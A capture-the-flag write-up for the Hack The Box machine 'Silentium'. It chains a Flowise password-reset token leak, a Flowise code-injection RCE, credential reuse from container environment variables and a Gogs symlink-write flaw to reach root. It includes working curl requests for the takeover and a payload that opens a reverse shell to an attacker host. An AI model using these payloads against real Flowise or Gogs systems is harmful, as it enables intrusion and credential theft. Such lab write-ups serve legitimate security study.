root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat silentium.md
// writeups

Silentium

11 Apr 2026 · 5 min read
Silentium — Hack The Box machine

Executive summary — Silentium is an Easy Linux machine that chains three CVEs: a Flowise account takeover via a leaked reset token (CVE-2025-58434), a Flowise RCE landing as root inside a Docker container (CVE-2025-59528), credential reuse from environment variables to pivot over SSH to the host as ben, and finally a Gogs instance running as root (CVE-2025-8110) to escalate to root on the host. A Web → RCE → Docker → SSH → Gogs → Root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.X.X

Attack map

[80] staging.silentium.htb → Flowise 3.0.5
   │  CVE-2025-58434 → tempToken leak → account takeover (ben)
   │  API Key (Settings) + CVE-2025-59528 → RCE in /customMCP
   ▼
[DOCKER]  root INSIDE the container
   │  env → FLOWISE_PASSWORD (reused credential)
   ▼
[SSH]  ben@silentium.htb  (host, unprivileged)
   │  ss -lntp → Gogs on 127.0.0.1:3001 (runs as root)
   ▼
[GOGS]  CVE-2025-8110 → arbitrary write as root (symlink)
   ▼
[ROOT]  code exec / sudoers as root on the host

1. Reconnaissance

Full port scan with versions and default scripts:

nmap -sC -sV -p- 10.129.X.X
22/tcp  open  ssh
80/tcp  open  http    nginx

Analysis: minimal surface — SSH and an nginx web server. All the initial weight is on the web application.

2. Web enumeration

Visiting http://silentium.htb we see a redirect to a subdomain. We map the names in /etc/hosts:

echo "10.129.X.X silentium.htb staging.silentium.htb" | sudo tee -a /etc/hosts

3. Application fingerprinting

At http://staging.silentium.htb we find a Flowise AI instance (a visual LLM-flow builder), version 3.0.5.

Why the version matters: Flowise 3.0.5 carries two public vulnerabilities we will chain (account takeover + RCE).

4. Account Takeover — CVE-2025-58434

Flowise has a critical logic flaw: the forgot-password endpoint returns the tempToken directly in the HTTP response (it should only be emailed). That lets us reset any user's password without authentication.

Step 1 — request the reset token for user ben:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
{ ... "tempToken": "6QvACcFk...VfTCjKw9" ... }

Step 2 — use that token to set a password we control:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"Password123!"}}'

Step 3 — log in with the new password:

curl -s -c cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"Password123!"}'

5. The real key: the API Key

Although login works, many endpoints still return Unauthorized Access: the session cookie isn't enough for the API. From the Flowise UI, under Settings → API Keys, we grab the API Key (hWp_... format) — that is what authorises the API.

Lesson: an account takeover doesn't always grant full access at once; sometimes you need one more step (here, stealing the API Key from the now-authenticated panel).

6. RCE — CVE-2025-59528

Flowise 3.0.5 lets you define a «Custom MCP». The /api/v1/node-load-method/customMCP endpoint passes the mcpServerConfig field straight into JavaScript's Function() constructor (equivalent to eval): full control of the server = code execution.

We set up a listener:

nc -lvnp 4444

And fire the payload (a self-invoking function opening a reverse shell), authenticating with the API Key:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Authorization: Bearer <API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){require(\"child_process\").exec(\"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\");return 1;})()})"
    }
  }'

Result — a shell with uid=0(root)… but inside a Docker container, not on the host:

id
uid=0(root) gid=0(root) groups=0(root)

7. Container enumeration

Being root in the container isn't root on the host, but environment variables often leak credentials:

env
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge

Key: the Flowise password is meant to be reused — and on poorly segmented systems, the same one works for the OS account.

8. SSH access (host)

We try that credential against the host's SSH as user ben:

ssh ben@10.129.X.X
# password: F1l3_d0ck3r

9. User flag

cat /home/ben/user.txt

10. Local enumeration

We look for services listening only on localhost (escalation candidates):

ss -lntp
LISTEN  127.0.0.1:3001   ...

Port 127.0.0.1:3001 is Gogs, a self-hosted Git service not exposed externally.

11. Port forwarding

We forward that internal port to our machine over the SSH tunnel to reach Gogs:

ssh -L 3001:127.0.0.1:3001 ben@10.129.X.X

12. Accessing Gogs

Now we can open http://127.0.0.1:3001 in our browser. We register an account (e.g. test / test123), create a repository, and generate an access token under Settings → Applications → Generate Token (the exploit needs it).

13. Privilege escalation — CVE-2025-8110

Why it yields root: the box's Gogs (v0.13.3) runs as root (RUN_USER = root). CVE-2025-8110 is a flaw in the Gogs Contents API (PUT /api/v1/repos/.../contents/<file>): it doesn't validate whether the target is a symlink. By putting a symlink pointing to a system file in a repo, writing over it makes Gogs follow the link with root privileges and write wherever we want — e.g. a /etc/sudoers.d/ben with NOPASSWD: ALL, or a payload that runs a reverse shell.

We clone the public CVE-2025-8110 PoC (a Silentium-specific one exists) and run it with our Gogs user and token:

git clone <CVE-2025-8110-PoC-repo>
cd CVE-2025-8110
nc -lvnp 5555   # if the PoC uses a reverse shell
python3 exploit.py \
  -u http://127.0.0.1:3001 \
  -U test -P test123 \
  -t <YOUR_GOGS_TOKEN> \
  -lh <ATTACKER_IP> -lp 5555

What it does under the hood: it creates a repo with a symlink to the target, uses the Contents API to write through it (Gogs does so as root), and thus gets code execution as root on the host. Equivalent alternative: write /etc/sudoers.d/ben and then sudo su.

14. Root flag

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdFlowiseCVE-2025-58434 (tempToken leak in forgot-password)Account takeover of ben
RCEFlowise 3.0.5CVE-2025-59528 (eval/Function() in /customMCP)Code execution → root in the container
LateralDocker / envCredentials in environment variables, reused for SSHHost access as ben
PrivEscGogs 0.13.3 (as root)CVE-2025-8110 (symlink write in the Contents API)Root on the host

Lessons learned

  • Broken API logic = takeover: returning a reset token in the HTTP response (instead of emailing it) is an account compromise on its own.
  • eval/Function() on user input = RCE. Never evaluate input as code.
  • Docker is not a wall: root in the container isn't root on the host, but environment variables leak credentials that do open the host.
  • Internal services = escalation surface, and running a service as root (here Gogs) turns an app RCE into host root. Run services least-privileged.
  • Credential reuse: one password across contexts chains the compromise.